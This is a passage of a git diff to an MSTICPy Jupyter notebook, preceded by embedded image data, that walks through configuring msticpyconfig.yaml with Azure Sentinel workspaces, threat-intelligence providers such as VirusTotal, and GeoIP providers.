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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Setting the path to your msticpyconfig.yaml\n", + "\n", + "This is a good point to set up an environment variable so that\n", + "you can keep a single configuration file in a known location and always\n", + "load the same settings. (Of course, you're free to use multiple configs\n", + "if you need to use different settings for each notebook folder)\n", + "\n", + "- decide on a location for your `msticpyconfig.yaml` - this could be in \"~/.msticpyconfig.yaml\" or \"%userprofile%/msticpyconfig.yaml\"\n", + "- copy the `msticpyconfig.yaml` file that you just created to this location.\n", + "- set the `MSTICPYCONFIG` environment variable to point to that location:\n", + "\n", + "#### Windows\n", + "![image.png](attachment:ad05bde6-0765-44de-83f8-d7d6e38030f6.png)\n", + "\n", + "#### Linux\n", + "In your .bashrc (or somewhere else convenient) add:\n", + "\n", + "`export MSTICPYCONFIG=~/.msticpyconfig.yaml`\n", + "\n", + "#### Azure ML\n", + "\n", + "In Azure ML, you need to decide whether to store your `msticpyconfig.yaml` in\n", + "the AML file store or on the Compute file system. If you have any secret\n", + "key material in the file, we recommend storing on the Compute instance, since\n", + "the AML file store is shared storage, whereas the Compute instance is\n", + "accessible only by the user who created it.\n", + "\n", + "1. Open a terminal
\n", + " ![image.png](attachment:97bef751-11a7-49e4-b881-0e2e7ead1a30.png)\n", + " \n", + " Your current directory should be your AML file store home directory\n", + " (this is mounted in the Compute Linux system) and the prompt will look something like this\n", + " ```bash\n", + " azureuser@ianhelle-azml4:~/cloudfiles/code/Users/ianhelle$\n", + " ```\n", + "
\n", + " \n", + "2. If you created a `msticpyconfig.yaml` in the previous step, this\n", + " should be visible if you type `ls`.\n", + " \n", + "3. If you want to move this file to the Compute filestore type:
\n", + " ```bash\n", + " mv msticpyconfig.yaml ~\n", + " ```\n", + "
\n", + "4. Add an environent variable to point to the `msticpyconfig.yaml` location.
\n", + " Use `vi/vim` or `nano` to edit your .bashrc file:
\n", + " \n", + " **vim**\n", + " \n", + " ```bash\n", + " vim ~/.bashrc\n", + " ```\n", + " Commands\n", + " - go to end of file: `Shift-G` followed by `End`\n", + " - create a new line: `a` followed by `Return`\n", + " - type in the relevant line from step 5\n", + " - press `Esc` to get back to command mode\n", + " - save the file: type `:wq`\n", + "
\n", + " \n", + " **nano**\n", + " \n", + " ```bash\n", + " nano ~/.bashrc\n", + " ```\n", + " Commands\n", + " - go to end of file: `Alt+/` or `Option+/`\n", + " - type in the relevant line from step 5\n", + " - save the file: `Ctrl+x` followed by `Y`\n", + " \n", + "
\n", + "5. Add the following line, depending on whether you moved the file to\n", + " the home directory (first line) or not (second line)
\n", + " ```bash\n", + " export MSTICPYCONFIG=~/msticpyconfig.yaml\n", + " ```\n", + " ```bash\n", + " export MSTICPYCONFIG=~/cloudfiles/code/Users/YOURNAME/msticpyconfig.yaml\n", + " ```\n", + " (replace `YOURNAME` with your user name - from the prompt in step 1)\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Verify (or add) Azure Sentinel Workspace settings\n", + "\n", + "If you loaded a config.json file you should see your workspace displayed. If not,\n", + "you can add one or more workspaces here. The Name, WorkspaceId and TenantId are\n", + "mandatory. The other fields are helpful but not essential.\n", + "\n", + "Use the Help drop-down panel to find more information about adding workspaces and finding\n", + "the correct values for your workspace.\n", + "\n", + "If this the workspace that you use frequently or all of the time, you may want to set this as the **default.**\n", + "This creates a duplicate entry named \"Default\". This is used when you connect to AzureSentinel without\n", + "needing to supply a workspace name. You can override this by specifying a workspace name at connect time,\n", + "which you need to do if you are working with multiple workspaces.\n", + "\n", + "When you've finished, type a file name (usually \"msticpyconfig.yaml\") into the **Conf File** text box\n", + "and click **Save File**,\n", + "\n", + "You can also try the **Validate Settings** button. This should show that you have a few missing\n", + "sections (we'll fill these in later) but should show nothing under the the \"Type Validation Results\"." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpedit = MpConfigEdit(settings=mpconfig)\n", + "mpedit.set_tab(\"AzureSentinel\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Adding Threat Intel (TI) Providers\n", + "\n", + "You will likely want to do lookups of IP Addresses, URLs and other items to check for any Threat Intelligence reports.\n", + "To do that you need to add the providers that you want to use. Most TI providers require that you\n", + "have an account with them and supply an API key or other authentication items when you connect.\n", + "\n", + "Most providers have a free use tier (or in cases like AlienVault OTX) are entirely free.\n", + "Free tiers for paid providers usually impose a certain number of requests that you\n", + "can make in a given time period.\n", + "\n", + "For account creation, each provider does this slightly differently.\n", + "Use the help links in the editor help to find where to go set each of these up.\n", + "\n", + "Assuming that you have done this, we can configure a provider. Be sure to\n", + "store any authentication keys somewhere safe (and memorable).\n", + "\n", + "We are going to use [VirusTotal](https://www.virustotal.com) (VT) as an example TI Provider.\n", + "For this you will need a VirusTotal API key from the \n", + "[VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.
\n", + "We also support a range of other threat intelligence providers - you can read about this here [MSTICPy TIProviders](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html)\n", + "

\n", + "Taking VirusTotal as our example.\n", + "- Click on the **TI Providers** tab\n", + "- Select \"VirusTotal\" from the **New prov** drop-down list\n", + "- Click **Add**\n", + "\n", + "This should show you the values that you need to provide:\n", + "- a single item **AuthKey** (this is usually referred to as an \"API Key\"\n", + "\n", + "You can paste the key into the **Value** field and click the **Save** button.\n", + "\n", + "You can opt to store the VT AuthKey as an environment variable. This is a bit more secure than \n", + "having it laying around in configuration files.\n", + "Assuming that you have set you VT key as an environment variable\n", + "```bash\n", + "set VT_KEY=VGhpcyBzaG91bGQgc2hvdyB5b3UgdGhlIHZhbHVlcyB (Windows)\n", + "export VT_KEY=VGhpcyBzaG91bGQgc2hvdyB5b3UgdGhlIHZhbHVlcyB (Linux/MAC)\n", + "```\n", + "Flip the **Storage** radio button to **EnvironmentVar** and type the name of the\n", + "variable (`VT_KEY` in our example) into the value box.\n", + "\n", + "You can also use Azure Key Vault to store secrets like these but we will need to \n", + "set up the Key Vault settings before this will work.\n", + "\n", + "Click the **Save File** button to save your changes." ] }, { @@ -328,38 +624,39 @@ "metadata": {}, "outputs": [], "source": [ - "%pfile msticpyconfig.yaml\n" + "mpedit.set_tab(\"TI Providers\")\n", + "mpedit" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "### Create a new `msticpyconfig.yaml`\n", - "If you need to create a msticpyconfig from scratch, edit the cell below:\n", - "1. Uncommenting the first line to enable the %%writefile magic instruction\n", - "2. Edit sections you need and adding the correct values.\n", - "3. Delete the other sections or leave commented out\n", + "### Adding GeoIP Providers\n", "\n", + "MSTICPy supports two Geo IP providers - Maxmind GeoIPLite and IP Stack.\n", + "The main difference between the two is that Maxmind downloads and uses a local\n", + "database, while IPStack is a purely online solution.\n", "\n", - "Guidelines:\n", - "- Usually you will only need the `default` workspace in the `AzureSentinel/Workspaces` section\n", - "- You can add TI Provider auth/API keys to the relevant sections (either as text or\n", - " stored in an environment variable - the OTX entry shows the former and the XForce entry\n", - " shows an example of the latter syntax)\n", - "- Delete the providers/sections that you do not need.\n", - "- Usually one or more TI providers and one GeoIP provider will be needed for most notebooks\n", - "- For a single string (e.g. API key) it does not matter whether the string is quoted or not\n", - "- For TI Providers, setting `Primary: True` means that the provider will be used in the\n", - " default set of providers every time you do a TI Lookup.\n", + "For either you need API keys to either download the free database from MaxMind\n", + "or access the IPStack online lookup\n", "\n", - ">

** WARNING **

\n", - "> Executing the following cell will write the contents of the cell to any existing\n", - "> `msticpyconfig.yaml` in the current folder, overwriting any settings that you have\n", - "> in there.\n", - "> If you have a current msticpyconfig.yaml, go to the next cell to read in this file\n", - "> and edit this with your settings.\n", - ">

Do not run this cell if you have existing configuration settings!

" + "We'll use GeoIPLite as our example.\n", + "You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup.\n", + "You'll need the API for the following steps.\n", + "- Select \"GeoIPLite\" from the **New Prov**\n", + "- Click **Add**\n", + "- Paste your Maxmind key into the **Value** field\n", + "\n", + "Set the maxmind data folder:\n", + "- This defaults to \"~/.msticpy\"\n", + " - On Windows this translates to the foldername `%USERPROFILE%/.msticpy`.\n", + " - On Linux/Mac this translates to the folder `.msticpy` in your home folder.\n", + "- This is where the downloaded GeopIP database will be stored.\n", + "- Choose another folder name and location if you prefer.\n", + "\n", + "> **Note**: as with the TI providers you can opt to store your key\n", + "> as an environment variable or keep it in Key Vault.\n" ] }, { @@ -368,93 +665,200 @@ "metadata": {}, "outputs": [], "source": [ - "#%%writefile msticpyconfig.yaml\n", - "\n", - "AzureSentinel:\n", - " #Workspaces:\n", - " # Default:\n", - " # WorkspaceId: \"d973e3d2-28e6-458e-b2cf-d38876fb1ba4\"\n", - " # TenantId: \"4cdf87a8-f0fc-40bb-9d85-68bcf4ac8e61\"\n", - " # Workspace2:\n", - " # WorkspaceId: \"c88dd3c2-d657-4eb3-b913-58d58d811a41\"\n", - " # TenantId: \"4cdf87a8-f0fc-40bb-9d85-68bcf4ac8e61\"\n", - " # Workspace3:\n", - " # WorkspaceId: \"17e64332-19c9-472e-afd7-3629f299300c\"\n", - " # TenantId: \"4ea41beb-4546-4fba-890b-55553ce6003a\"\n", - "QueryDefinitions:\n", - " # Uncomment and add paths to folders containing custom query definitions here\n", - " #Custom:\n", - " # - /home/myuser/queries\n", - "TIProviders:\n", - " OTX:\n", - " Args:\n", - " AuthKey: \"your-otx-key\"\n", - " Primary: True\n", - " Provider: \"OTX\" # Do not edit the Provider strings\n", - " VirusTotal:\n", - " Args:\n", - " AuthKey: 